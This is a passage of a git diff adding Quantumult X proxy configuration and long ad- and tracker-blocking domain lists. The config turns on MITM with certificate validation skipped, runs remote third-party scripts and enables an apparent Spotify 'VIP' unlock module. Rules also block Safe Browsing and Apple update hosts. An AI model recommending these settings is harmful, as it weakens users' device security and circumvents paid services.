8.配置完毕,开始使用 diff --git a/QuantumultX/config/QuanX.conf b/QuantumultX/config/QuanX.conf new file mode 100644 index 00000000..ca3c96a5 --- /dev/null +++ b/QuantumultX/config/QuanX.conf @@ -0,0 +1,173 @@ +############################################# +# 配置作用:本配置为全局配置文件,内含去广告,应用分流,策略组,定时脚本等 +# 重要提示:导入本文件会覆盖原本所有配置,不是初次配置QuanX请谨慎使用 +# 注意事项: 以下内容中,带“;” “#” “//” 开头的行都是注释,去掉注释符号该行才有效 +# 项目地址:https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/config/QuanX.conf +# 配置教程:https://github.com/fmz200/wool_scripts/blob/main/QuantumultX/How-To-Use.md +# 懒人配置:点击QX右下角风车拉下到底-下载配置-生成证书-配置证书-信任证书-开启QX即可愉快的使用了 +# 交流群组:https://t.me/lanjieguanggao https://t.me/QuantumultXCommunity +# 更新时间:2025-05-18 21:10:00 +############################################# + +# ===================================== +# general:模块内为一些通用的设置参数项 +# ===================================== +[general] +# Quantumult X 会对 server_check_url 指定的网址进行相应测试,以确认节点的可用性 +# 你同样可以在 server_local/server_remote 中,为节点、订阅单独指定server_check_url参数 +# 如果你为节点单独指定了url,则所有相关延迟测试中,均会采用此 url 地址 +server_check_url=http://cp.cloudflare.com/generate_204 +# 服务器测试超时时间 (毫秒,3000为3秒) +server_check_timeout = 3000 +# 用于设置图标显示 +profile_img_url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/fmz200-01.png +# dns_exclusion_list中的域名将不使用fake-ip方式. 其它域名则全部采用fake-ip及远程解析的模式 +dns_exclusion_list=*.cmpassport.com, *.jegotrip.com.cn, *.icitymobile.mobi, id6.me, *.pingan.com.cn, *.cmbchina.com +# geo_location_checker:用于节点页面的顶部节点信息展示(节点开关左边的信息) +geo_location_checker=http://ip-api.com/json/?lang=zh-CN, https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/server_location.js +# 资源解析器,可用于自定义各类远程资源的转换,如节点,规则 filter,重写 rewrite 等,url 地址可远程,可task_local本地/iCloud(Quantumult X/Scripts目录); +resource_parser_url=https://raw.githubusercontent.com/KOP-XIAO/QuantumultX/master/Scripts/resource-parser.js +# 下列表中的内容将不经过QuantumultX的处理,设置后建议重启设备 +excluded_routes=239.255.255.250/32 +# fallback_udp_policy:仅支持 v1.0.19 以及之后的版本。仅支持末端策略(末端策略为经由规则模块和策略模块后所命中的策略,例如:direct、reject 以及节点;不支持内置策略 proxy 以及其它自定义策略)。 +fallback_udp_policy=direct +# UDP Drop名单:同白名单类似,但不会返回 ICMP “端口不可达” 信息,名单仅处理 whitelist名单中的端口 +udp_drop_list=443 + + +# ===================================== +# 域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。 +# ===================================== +[dns] +no-ipv6 +server=119.29.29.29 +address=/mtalk.google.com/108.177.125.188 +server=/dl.google.com/119.29.29.29 +server=/dl.l.google.com/119.29.29.29 +server=/tplogin.cn/system +server=/tplinklogin.net/system +server=/melogin.cn/system +server=/falogin.cn/system + + +# ===================================== +# 策略组 +# static:你需要手动选择想要的节点/策略组。 +# available:将按顺序选择你列表中第一个可用的节点。 +# round-robin:将按列表的顺序轮流使用其中的节点。 +# url-latency-benchmark:选取延迟最优节点。 +# dest-hash:随机负载均衡,但相同域名走固定节点。 +# ssid:将根据你所设定的网络来自动切换节点/策略组。 +# ===================================== +[policy] +static=海外抖音, proxy, 香港节点, 日本节点, 狮城节点, 台湾节点, 美国节点, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/tiktok.png +static=谷歌服务, proxy, 香港节点, 日本节点, 狮城节点, 台湾节点, 美国节点, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Google.png +static=电报消息, proxy, 香港节点, 日本节点, 狮城节点, 台湾节点, 美国节点, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/telegram.png +static=Spotify, proxy, 香港节点, 日本节点, 狮城节点, 台湾节点, 美国节点, img-url=https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Spotify.png +static=人工智能, proxy, 美国节点, 狮城节点, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/OpenAI.png +static=苹果服务, direct, proxy, 香港节点, 日本节点, 狮城节点, 台湾节点, 美国节点, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/Apple.png +static=兜底策略, direct, proxy, 香港节点, 台湾节点, 日本节点, 狮城节点, 美国节点, img-url=https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Final.png +url-latency-benchmark=香港节点, server-tag-regex=港|HK|Hong|🇭🇰, check-interval=600, tolerance=0, alive-checking=false, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/HK.png +url-latency-benchmark=日本节点, server-tag-regex=日|JP|Japan|🇯🇵, check-interval=600, tolerance=0, alive-checking=false, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/JP.png +url-latency-benchmark=狮城节点, server-tag-regex=新加坡|狮|獅|SG|Singapore|🇸🇬, check-interval=600, tolerance=0, alive-checking=false, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/SG.png +url-latency-benchmark=美国节点, server-tag-regex=美|US|States|American|🇺🇸, check-interval=600, tolerance=0, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/US.png +url-latency-benchmark=韩国节点, server-tag-regex=韩|KR|Korea|🇰🇷, check-interval=600, tolerance=0, alive-checking=false, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/KR.png +url-latency-benchmark=台湾节点, server-tag-regex=台|TW|Taiwan, check-interval=600, tolerance=0, alive-checking=false, img-url=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/icon/color/tw.png + + +# ===================================== +# 本地服务器部分 +# ===================================== +[server_local] + + +# ===================================== +# 远程订阅部分 +# ===================================== +[server_remote] + + +# ===================================== +# 本地分流规则:对于完全相同的某条规则,本地的将优先于远程生效 +# ===================================== +[filter_local] +host-suffix, local, direct +ip-cidr, 192.168.0.0/16, direct +ip-cidr, 10.0.0.0/8, direct +ip-cidr, 172.16.0.0/12, direct +ip-cidr, 127.0.0.0/8, direct +ip-cidr, 100.64.0.0/10, direct +ip-cidr, 224.0.0.0/4, direct +ip-cidr, 183.240.197.130/32, direct +ip6-cidr, fe80::/10, direct +# > 苹果播客 +host-keyword, amp-api.podcasts.apple.com, proxy +# GeoIP(Geolocation IP)是一种技术,用于确定特定IP地址的地理位置信息,如国家、城市、经纬度等。 +geoip, cn, direct +# 不在上述规则中(远程以及本地)的剩余请求,将走final 指定的节点/策略 +final, 兜底策略 + + +# ===================================== +# 远程订阅的分流,以及本地的配置片段 +# ===================================== +[filter_remote] +https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/filter.list, tag=广告拦截合集@fmz200, update-interval=604800, opt-parser=false, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/AI.list, tag=AI分流规则合集@fmz200, force-policy=人工智能, update-interval=172800, opt-parser=true, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/soul.list, tag=Soul分流@fmz200, force-policy=direct, update-interval=86400, opt-parser=false, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/talkatone.list, tag=talkatone分流@fmz200, force-policy=美国节点, update-interval=86400, opt-parser=false, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/QuantumultX/TikTok/TikTok.list, tag=TikTok@bm7, force-policy=海外抖音, update-interval=86400, opt-parser=false, enabled=true +https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/QuantumultX/Telegram/Telegram.list, tag=Telegram@bm7, force-policy=电报消息, update-interval=172800, opt-parser=false, enabled=true +https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/QuantumultX/Google/Google.list, tag=Google@bm7, force-policy=谷歌服务, update-interval=172800, opt-parser=false, enabled=true +https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/QuantumultX/Spotify/Spotify.list, tag=Spotify@bm7, update-interval=172800, opt-parser=false, enabled=true +https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/QuantumultX/GitHub/GitHub.list, tag=Github@bm7, force-policy=proxy, update-interval=172800, opt-parser=false, enabled=true + + +# ===================================== +# 本地重写 +# ===================================== +[rewrite_local] + + +# ===================================== +# 远程复写模块:包含主机名hostname以及复写rewrite规则 +# update-interval 为更新时间参数,单位 秒, 默认更新时间为 24*60*60=86400 秒,也就是24小时. +# opt-parser=true/false 用于控制是否对本订阅 开启资源解析器,不写或者 false 表示不启用解析器# +# 支持本地/iCloud的复写规则文件,位于Quantumult X/Profiles路径下 +# 参考写法:rewrite.txt, tag=本地复写, opt-parser=false, enabled=false +# ===================================== +[rewrite_remote] +https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/rewrite/weibo.snippet, tag=微博去广告@fmz200, update-interval=172800, opt-parser=false, enabled=true +https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/rewrite/chongxie.txt, tag=广告拦截合集@fmz200, update-interval=604800, opt-parser=false, enabled=true +https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/rewrite/cookies.snippet, tag=获取cookie合集@fmz200, update-interval=604800, opt-parser=false, enabled=false +https://raw.githubusercontent.com/app2smile/rules/master/module/spotify.conf, tag=Spotify音乐VIP@app2smile, update-interval=172800, opt-parser=false, enabled=true +https://github.com/chavyleung/scripts/raw/master/box/rewrite/boxjs.rewrite.quanx.conf, tag=BoxJs 稳定版, update-interval=172800, opt-parser=false, enabled=true +https://github.com/sub-store-org/Sub-Store/raw/master/config/QX.snippet, tag=Sub-Store, update-interval=172800, opt-parser=false, enabled=true + + +# ===================================== +# 任务模块,可用于签到,节点流媒体检测等 +# ===================================== +[task_local] +# UI交互检测 +event-interaction https://raw.githubusercontent.com/KOP-XIAO/QuantumultX/master/Scripts/streaming-ui-check.js, tag=流媒体-解锁查询, img-url=checkmark.seal.system, enabled=true +event-interaction https://raw.githubusercontent.com/I-am-R-E/Functional-Store-Hub/Master/NodeLinkCheck/Script/NodeLinkCheck.js, tag=Env代理链路检测, img-url=https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/Stack.png, enabled=true +event-interaction https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/server_info.js, tag=节点详情查询, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ipInfo.png, enabled=true + + +[http_backend] +# BoxJS已不需要此配置 +;https://raw.githubusercontent.com/chavyleung/scripts/master/chavy.box.js, host=boxjs.com, tag=BoxJS, path=^/, enabled=true + + +# ===================================== +# MITM:中间人攻击,解密/跳过相关域名的内容,"-"开头为跳过 +# ===================================== +[mitm] +# 本地主机名 +hostname = -www.google.com, -*.amemv.com, -*.snssdk.com, boxjs.net, boxjs.com, +# 证书 +passphrase = +p12 = + +skip_validating_cert = true diff --git a/QuantumultX/filter/00-How-To-Use-Filter.md b/QuantumultX/filter/00-How-To-Use-Filter.md new file mode 100644 index 00000000..6822ed9f --- /dev/null +++ b/QuantumultX/filter/00-How-To-Use-Filter.md @@ -0,0 +1 @@ +# Filter \ No newline at end of file diff --git a/QuantumultX/filter/ByteDance.list b/QuantumultX/filter/ByteDance.list new file mode 100644 index 00000000..f0a32d57 --- /dev/null +++ b/QuantumultX/filter/ByteDance.list @@ -0,0 +1,145 @@ +#!name=ByteDance分流 +#!desc=字节跳动系列产品分流(备份) +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/ByteDance.list +#!tg-group:https://t.me/lanjieguanggao +#!date:2024-04-22 21:00:00 +############################################# + +HOST-SUFFIX, amemv.com, ByteDance +HOST-SUFFIX, douyinpic.com, ByteDance +HOST-SUFFIX, douyinstatic.com, ByteDance +HOST-SUFFIX, douyinvod.com, ByteDance +HOST-SUFFIX, idouyinvod.com, ByteDance +HOST-SUFFIX, ixigua.com, ByteDance +HOST-SUFFIX, ixiguavideo.com, ByteDance +HOST-SUFFIX, pstatp.com, ByteDance +HOST-SUFFIX, snssdk.com, ByteDance +HOST-SUFFIX, toutiao.com, ByteDance + +HOST-SUFFIX, zijieapi.com, ByteDance +HOST-SUFFIX, awemeughun.com, ByteDance +HOST-SUFFIX, fanqiesdk.com, ByteDance +HOST-SUFFIX, doupay.com, ByteDance +HOST-SUFFIX, qishui.com, ByteDance +HOST-SUFFIX, xuelangapp.com, ByteDance +HOST-SUFFIX, tangdou.com, ByteDance +HOST-SUFFIX, ecombdapi.com, ByteDance +HOST-SUFFIX, awemeugsoul.com, ByteDance +HOST-SUFFIX, bdxiguaimg.com, ByteDance +HOST-SUFFIX, byteactivity.com, ByteDance +HOST-SUFFIX, byteactivity12.com, ByteDance +HOST-SUFFIX, ulpay.com, ByteDance +HOST-SUFFIX, center.html, ByteDance +HOST-SUFFIX, dcarapi.com, ByteDance +HOST-SUFFIX, bdurl.net, ByteDance +HOST-SUFFIX, zjurl.cn, ByteDance +HOST-SUFFIX, doubo03.com, ByteDance +HOST-SUFFIX, douyin.com, ByteDance +HOST-SUFFIX, byte-test.com, ByteDance +HOST-SUFFIX, ecombdimg.com, ByteDance +HOST-SUFFIX, ecombdpage.com, ByteDance + +HOST-SUFFIX, iaoligame.com, ByteDance +HOST-SUFFIX, bytedance.com, ByteDance +HOST-SUFFIX, nvsgames.cn, ByteDance +HOST-SUFFIX, huoshan.com, ByteDance +HOST-SUFFIX, jinritemai.com, ByteDance +HOST-SUFFIX, baohuaxia.com, ByteDance +HOST-SUFFIX, jishitailai.com, ByteDance +HOST-SUFFIX, juliangyinqing.com, ByteDance +HOST-SUFFIX, bytegecko.com, ByteDance +HOST-SUFFIX, bytetos.com, ByteDance +HOST-SUFFIX, baike.com, ByteDance +HOST-SUFFIX, byteimg.com, ByteDance +HOST-SUFFIX, huoshanimg.com, ByteDance +HOST-SUFFIX, toutiaoapi.com, ByteDance +HOST-SUFFIX, toutiaoimg.com, ByteDance +HOST-SUFFIX, xsgtvacct.com, ByteDance +HOST-SUFFIX, ugapk.com, ByteDance +HOST-SUFFIX, ugditui.cn, ByteDance +HOST-SUFFIX, ndcpp.com, ByteDance +HOST-SUFFIX, feishu.cn, ByteDance +HOST-SUFFIX, xingtu.cn, ByteDance +HOST-SUFFIX, activity04.com, ByteDance +HOST-SUFFIX, dcdapp.com, ByteDance +HOST-SUFFIX, linzihy.com, ByteDance +HOST-SUFFIX, zlinkurl.cn, ByteDance + +HOST-SUFFIX, ibytedapm.com, ByteDance +HOST-SUFFIX, zijieimg.com, ByteDance +HOST-SUFFIX, ipstatp.com, ByteDance +HOST-SUFFIX, ibytedtos.com, ByteDance +HOST-SUFFIX, huoshanzhibo.com, ByteDance +HOST-SUFFIX, huoshanxiaoshipin.cn, ByteDance +HOST-SUFFIX, huoshanxiaoshipin.net, ByteDance +HOST-SUFFIX, huoshanvideo.cn, ByteDance +HOST-SUFFIX, huoshanvideo.net, ByteDance +HOST-SUFFIX, ieshuodong.cn, ByteDance +HOST-SUFFIX, ieshuodong.net, ByteDance +HOST-SUFFIX, byteoversea.com, ByteDance +HOST-SUFFIX, toutiaocloud.com, ByteDance +HOST-SUFFIX, chengzijianzhan.com, ByteDance +HOST-SUFFIX, ribaoapi.com, ByteDance +HOST-SUFFIX, bytexservice.com, ByteDance +HOST-SUFFIX, oceanengine.com, ByteDance +HOST-SUFFIX, dyvideotape.com, ByteDance +HOST-SUFFIX, iesdouyin.com, ByteDance +HOST-SUFFIX, bdxiguastatic.com, ByteDance +HOST-SUFFIX, bytegoofy.com, ByteDance +HOST-SUFFIX, unpkg.com, ByteDance +HOST-SUFFIX, byted-static.com, ByteDance +HOST-SUFFIX, draftstatic.com, ByteDance +HOST-SUFFIX, bytetcc.com, ByteDance +HOST-SUFFIX, byted.org, ByteDance +HOST-SUFFIX, feiliao.com, ByteDance +HOST-SUFFIX, 365yg.com, ByteDance +HOST-SUFFIX, bytedance.net, ByteDance +HOST-SUFFIX, bytescm.com, ByteDance +HOST-SUFFIX, bytednsdoc.com, ByteDance + +# CDN +HOST-SUFFIX, douyincdn.com, ByteDance +HOST-SUFFIX, hypstarcdn.com, ByteDance +HOST-SUFFIX, topbuzzcdn.com, ByteDance +HOST-SUFFIX, muscdn.com, ByteDance +HOST-SUFFIX, tiktokcdn.com, ByteDance +HOST-SUFFIX, bytecdn.cn, ByteDance +HOST-SUFFIX, zjcdn.com, ByteDance +HOST-SUFFIX, zijiecdn.com, ByteDance +HOST-SUFFIX, zijiecdn.net, ByteDance + +IP-CIDR, 101.36.166.16/32, ByteDance +IP-CIDR, 101.36.166.17/32, ByteDance +IP-CIDR, 101.36.166.18/32, ByteDance +IP-CIDR, 101.36.166.19/32, ByteDance +IP-CIDR, 122.14.229.102/32, ByteDance +IP-CIDR, 122.14.229.103/32, ByteDance +IP-CIDR, 122.14.229.140/32, ByteDance +IP-CIDR, 122.14.229.141/32, ByteDance +IP-CIDR, 122.14.229.179/32, ByteDance +IP-CIDR, 122.14.229.7/32, ByteDance +IP-CIDR, 122.14.229.72/32, ByteDance +IP-CIDR, 122.14.230.128/32, ByteDance +IP-CIDR, 122.14.236.30/32, ByteDance +IP-CIDR, 122.14.236.35/32, ByteDance +IP-CIDR, 122.14.236.37/32, ByteDance +IP-CIDR, 122.14.236.46/32, ByteDance +IP-CIDR, 122.14.236.48/32, ByteDance +IP-CIDR, 122.14.236.74/32, ByteDance +IP-CIDR, 122.14.236.75/32, ByteDance +IP-CIDR, 123.58.9.84/32, ByteDance +IP-CIDR, 123.58.9.90/32, ByteDance +IP-CIDR, 220.243.141.131/32, ByteDance +IP-CIDR, 220.243.141.205/32, ByteDance +IP-CIDR, 220.243.141.206/32, ByteDance +IP-CIDR, 220.243.141.215/32, ByteDance +IP-CIDR, 220.243.141.216/32, ByteDance +IP-CIDR, 220.243.141.217/32, ByteDance +IP-CIDR, 220.243.190.68/32, ByteDance +IP-CIDR, 220.243.190.72/32, ByteDance +IP-CIDR, 220.243.190.73/32, ByteDance +IP-CIDR, 220.243.190.74/32, ByteDance +IP-CIDR, 220.243.190.79/32, ByteDance diff --git a/QuantumultX/filter/HelloTalk.list b/QuantumultX/filter/HelloTalk.list new file mode 100644 index 00000000..f37d8393 --- /dev/null +++ b/QuantumultX/filter/HelloTalk.list @@ -0,0 +1,12 @@ +#!name=HelloTalk分流 +#!desc=HelloTalk是一款外语学习社交应用软件,修改IP可能会被封号 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/HelloTalk.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-03-05 22:03:00 +############################################# + +host-suffix, hellotalk8.com, HelloTalk +host-suffix, appsflyersdk.com, HelloTalk diff --git a/QuantumultX/filter/OKX.list b/QuantumultX/filter/OKX.list new file mode 100644 index 00000000..29c34d3b --- /dev/null +++ b/QuantumultX/filter/OKX.list @@ -0,0 +1,13 @@ +#!name=欧易OKX分流 +#!desc=欧易是一款数字货币交易平台,分流选择支持OKX的地区 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/OKX.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-04-16 21:03:00 +############################################# + +host-keyword, okex.com, OKX +host-keyword, oklink.com, OKX +host-keyword, okx.com, OKX diff --git a/QuantumultX/filter/apple.snippet b/QuantumultX/filter/apple.snippet new file mode 100644 index 00000000..e10832ca --- /dev/null +++ b/QuantumultX/filter/apple.snippet @@ -0,0 +1,20 @@ +#!name=苹果系统更新 +#!desc=如果屏蔽苹果系统更新策略选择reject +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/apple.snippet +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-06-22 12:50:00 +############################################# + +host, xp.apple.com, reject +host, gdmf.apple.com, reject +# 经过测试 实际起作用的好像就上面两个 +host, ns.itunes.apple.com, reject +host, appldnld.apple.com, reject +host, mesu.apple.com, reject +HOST-SUFFIX, iadsdk.apple.com, reject +HOST-SUFFIX, ads.internal.unity3d.com, reject +HOST-SUFFIX, ads.prd.ie.internal.unity3d.com, reject +HOST-SUFFIX, unityads.unity3d.com, reject diff --git a/QuantumultX/filter/fenliu.list b/QuantumultX/filter/fenliu.list new file mode 100644 index 00000000..6de50497 --- /dev/null +++ b/QuantumultX/filter/fenliu.list @@ -0,0 +1,10151 @@ +#!name=广告拦截合集-分流 +#!desc=(F)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装APP,拦截广告才会生效! +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/fenliu.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2025-06-20 23:40:17 +#!support=约9392行 +#!proxy-select=reject +############################################# +# "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +# 1.2.3.4/24 /24表示网络的子网掩码长度,即前24位是网络部分,后8位是主机部分。这种表示法常用于描述特定范围内的IP地址 +# 6.7.8.9/32 /32表示整个32位的IP地址都用于表示这一个地址,即单独的一个IP地址 +############################################# + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +# > 广告联盟 +host-suffix, miaozhen.com, reject +host-suffix, ad-sign.byteimg.com, reject +host-suffix, tos.pstatp.com, reject +host-keyword, asiad.byteactivity, reject +host-keyword, pangolin-sdk-toutiao, reject +host-keyword, pglstatp-toutiao, reject +host-suffix, pangolin.snssdk.com, reject +host-suffix, video-cn.snssdk.com, reject +host-suffix, getui.com, reject +host-suffix, getui.net, reject +host-suffix, gepush.com, reject +host-suffix, igexin.com, reject +host-suffix, log.aliyuncs.com, reject +host-suffix, zlsdk.1rtb.net, reject +# > 收集用户隐私联盟,若有问题自行设置白名单 +host-keyword, volc, reject +host-keyword, umeng, reject + + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +host, api.liquidlink.cn, reject + + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 交管12123 +host-suffix, v3.fstats.xyz, reject +host-suffix, wss.haoyundmn.com, reject +host-suffix, new.xiongzhangad.com, reject +host-suffix, alexametrics.com, reject +host-keyword, in-page-push, reject + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< +host, ad.mcloud.139.com, reject + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 51wnl +host, ad.51wnl-cq.com, reject +host, adextra.51wnl-cq.com, reject +host, log.51wnl-cq.com, reject +host, r.51wnl-cq.com, reject + +# > 51.LA +host, js.users.51.la, reject +host, mc.51.la, reject +host, wc.51.la, reject + +# > 58同城 +host, track.58.com, reject +host, tracklog.58.com, reject + + + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > Adobe Flash China Special Edition +host, geo2.adobe.com, reject + +# > Apple +host, advertising.apple.com, reject +host, api-adservices.apple.com, reject +host, apple.comscoreresearch.com, reject +host, banners.itunes.apple.com, reject +host, iad.apple.com, reject +host, iadcontent.apple.com, reject +host, iadctest.qwapi.com, reject +host, iadmoo.apple.com, reject +host, iadworkbench.apple.com, reject +host, launch.apple.com, reject +host, metrics.apple.com, reject +host, qwapi.apple.com, reject +host, securemetrics.apple.com, reject +host, webproxy-advp.iad-apple.com, reject +host, webproxy-advp.iad-apple.com.akadns.net, reject +host-suffix, advp.apple.com, reject +host-suffix, iadsdk.apple.com, reject +# 安全浏览限制解除 +host, lookup.api.bsb.baidu.com, reject +host, proxy.safebrowsing.apple, reject +host, safebrowsing.g.applimg.com, reject +host, safebrowsing.googleapis.com, reject +host, safebrowsing.urlsec.qq.com, reject +host, token.safebrowsing.apple, reject +host, vs6.bj2ct.u3.ucweb.com, reject +host-suffix, safebrowsing.apple, reject +host-suffix, u3.ucweb.com, reject + +# > 阿里云 +IP-CIDR, 203.107.1.1/24, reject + +# > 爱奇艺 +host, api.iqiyi.com, reject +host, cr-status.iqiyi.com, reject +host, f74f7f7765f8a2f6.ngaa.net.cn, reject +host, ef-dongfeng.tanx.com, reject +host, iqiyim.adtrack.enlightent.cn, reject +host, dig.bdurl.net, reject +host, t7z.cupid.iqiyi.com, reject +host, t7z.cupid.ptqy.gitv.tv, reject +host-suffix, cupid.iqiyi.com, reject +host-suffix, t7z.cupid.iqiyi.com, reject +host-suffix, static-s.iqiyi.com, reject +host-suffix, a.ckm.iqiyi.com, reject +host-suffix, ad.m.iqiyi.com, reject +host-suffix, afp.iqiyi.com, reject +host-suffix, api.cupid.iqiyi.com, reject +host-suffix, api.cupid.qiyi.com, reject +host-suffix, c.uaa.iqiyi.com, reject +host-suffix, cloudpush.iqiyi.com, reject +host-suffix, cm.passport.iqiyi.com, reject +host-suffix, count.game.pps.tv, reject +host-suffix, cupid.iqiyi.com, reject +host-suffix, emoticon.sns.iqiyi.com, reject +host-suffix, gamecenter.iqiyi.com, reject +host-suffix, mbdlog.iqiyi.com, reject +host-suffix, msg.iqiyi.com, reject +host-suffix, msg.video.qiyi.com, reject +host-suffix, msg2.video.qiyi.com, reject +host-suffix, static.g.iqiyi.com, reject +host-suffix, static.g.ppstream.com, reject +host-suffix, store.iqiyi.com, reject +host-suffix, tracker.sns.iqiyi.com, reject +host-suffix, yuedu.iqiyi.com, reject +host-suffix, msga.cupid.iqiyi.com, reject +host-suffix, nl.notice.iqiyi.com, reject +host-suffix, nl.rcd.iqiyi.com, reject +host-suffix, notice.iqiyi.com, reject +host-suffix, noxagile.duapp.com, reject +host-suffix, paopao.iqiyi.com, reject +host-suffix, policy.video.iqiyi.com, reject +host-suffix, ifacelog.iqiyi.com, reject +IP-CIDR, 203.107.63.154/32, reject +IP-CIDR, 101.227.97.240/32, reject +IP-CIDR, 101.227.200.11/32, reject +IP-CIDR, 101.227.200.28/32, reject +IP-CIDR, 124.192.153.42/32, reject + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > 百度 +host-suffix, duapps.com, reject +host-suffix, cpro.baidu.com, reject +host-suffix, pos.baidu.com, reject +host, afd.baidu.com, reject +host, als.baidu.com, reject +host, duclick.baidu.com, reject +host, mobads.baidu.com, reject +host, mobads-logs.baidu.com, reject +host, nadvideo2.baidu.com, reject +host, nsclick.baidu.com, reject +host-suffix, bce.baidu.com, reject +host-suffix, bar.baidu.com, reject +host-suffix, baiduyubaidu.com, reject +host-suffix, baidutv.baidu.com, reject +host-suffix, baichuan.baidu.com, reject +host-suffix, appc.baidu.com, reject +host-suffix, anquan.baidu.com, reject +host-suffix, adscdn.baidu.com, reject +host-suffix, adm.baidu.com, reject +host-suffix, ad.player.baidu.com, reject +host-suffix, a.baidu.com, reject +host-suffix, antivirus.baidu.com, reject +host-suffix, baifen.music.baidu.com, reject +host-suffix, banlv.baidu.com, reject +host-suffix, cm.baidu.com, reject +host-suffix, cpro.zhidao.baidu.com, reject +host-suffix, cleaner.baidu.com, reject +host-suffix, cjhq.baidu.com, reject +host-suffix, cb.baidu.com, reject +host-suffix, c.baidu.com, reject +host-suffix, btlaunch.baidu.com, reject +host-suffix, bdplus.baidu.com, reject +host-suffix, cbjs.baidu.com, reject +host-suffix, cpro2.baidu.com, reject +host-suffix, cpu-admin.baidu.com, reject +host-suffix, 10086.cn.baidu.cdn.yiwk.com, reject +host-suffix, 360baidus.com, reject +host-suffix, app.ibaiducdn.com, reject +host-suffix, baidu.cybcyw.com, reject +host-suffix, baidu.dsp.tansuotv.com, reject +host-suffix, baidu.greenxf.cn, reject +host-suffix, baidu.jz5u.net, reject +host-suffix, baiduace.com, reject +host-suffix, baidujs.cnys.com, reject +host-suffix, baidulao.com, reject +host-suffix, baidut.github.io, reject +host-suffix, baidu-union-js.xiachufang.com, reject +host-suffix, baidu-union-pos.xiachufang.com, reject +host-suffix, 